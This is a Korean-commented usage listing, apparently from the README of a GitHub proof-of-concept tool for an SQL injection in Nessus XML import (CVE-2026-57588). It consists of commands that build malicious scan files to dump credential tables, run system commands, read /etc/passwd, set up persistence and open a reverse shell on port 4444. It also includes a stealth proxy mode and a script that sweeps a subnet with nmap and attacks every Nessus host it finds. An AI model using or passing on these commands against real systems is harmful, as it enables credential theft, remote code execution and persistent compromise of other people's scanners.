# 저장소 클론
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# 가상 환경 생성 및 활성화
python3 -m venv venv
source venv/bin/activate  # Windows: venv\Scripts\activate

# 의존성 설치
pip install -r requirements.txt

# 설치 확인
python3 exploit.py --version

# Docker 이미지 빌드
docker build -t nessus-exploit .

# 도구 실행
docker run -it --rm nessus-exploit generate -u https://test.com -p enum

# 패키지로 설치
pip install -e .

# 이제 어디서든 실행 가능
nessus-exploit generate -u https://test.com -p enum

# 기본 열거 익스플로잇 생성
python3 exploit.py generate -u https://test.com -p enum

# 고급 다단계 익스플로잇 생성
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus

# 데이터베이스에서 데이터 추출
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# 일반 도움말 표시
python3 exploit.py --help

# generate 명령 도움말 표시
python3 exploit.py generate --help

# 사용 가능한 모든 페이로드 나열
python3 exploit.py list

python3 exploit.py generate -u https://test.com -p enum

python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v

# 사용자 자격 증명 추출
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# 사용자 정의 열로 추출
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status

# 리스너 시작 및 익스플로잇 생성
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus

# 기본 명령 실행
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"

# 복잡한 명령 실행
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"

# 시스템 파일 읽기
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd

# 애플리케이션 로그 읽기
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log

# 5초 지연
python3 exploit.py generate -u https://test.com -p sleep -s 5

# 무거운 테스트를 위한 30초 지연
python3 exploit.py generate -u https://test.com -p sleep -s 30

# HTTP 프록시
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080

# 인증이 있는 HTTPS 프록시
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080

# 8개의 병렬 작업으로 실행
python3 exploit.py generate -u https://test.com -p advanced --jobs 8

# 사용자 정의 타임아웃 및 재시도
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5

# 자세한 모드 (상세 출력)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log

# 조용한 모드 (최소 출력)
python3 exploit.py generate -u https://test.com -p advanced -q

# 1단계: 데이터베이스 열거
python3 exploit.py generate -u https://test.com -p enum -v

# 2단계: 민감한 데이터 추출
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email

# 3단계: 지속성 설정
python3 exploit.py generate -u https://test.com -p persist

# 4단계: 리버스 셸 설정
python3 exploit.py generate -u https://test.com -p shell -lp 4444

# 프록시 및 조용한 모드 사용
python3 exploit.py generate -u https://test.com -p advanced \
    --proxy http://127.0.0.1:8080 \
    --no-ssl-verify \
    -q \
    -o stealth_scan.nessus

#!/bin/bash
# auto_exploit.sh - 자동화된 익스플로잇 스크립트

TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR

# 모든 페이로드 실행
for payload in enum dump shell persist; do
    echo "[*] Running payload: $payload"
    python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done

# 종합 리포트 생성
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"

# 네트워크 전반 평가
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
    echo "[*] Testing: $target"
    python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done

# 종합적인 증거 수집
python3 exploit.py generate -u https://test.com -p advanced \
    --file /etc/hosts \
    --command "systemctl status nessusd" \
    --table nessus_users \
    --columns username,password_hash,email,last_login \
    -v \
    --log-file evidence.log

# 모든 리포트 형식 생성
python3 exploit.py report -i results.json -o report

# HTML 리포트만 생성
python3 exploit.py report -i results.json -o report.html --format html

# Markdown 리포트 생성
python3 exploit.py report -i results.json -o report.md --format markdown

# 저장소 클론
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC

# 개발 의존성 설치
pip install -r requirements-dev.txt

# 테스트 실행
pytest

# 코드 포맷팅
black exploit.py

# 린팅 확인
flake8 exploit.py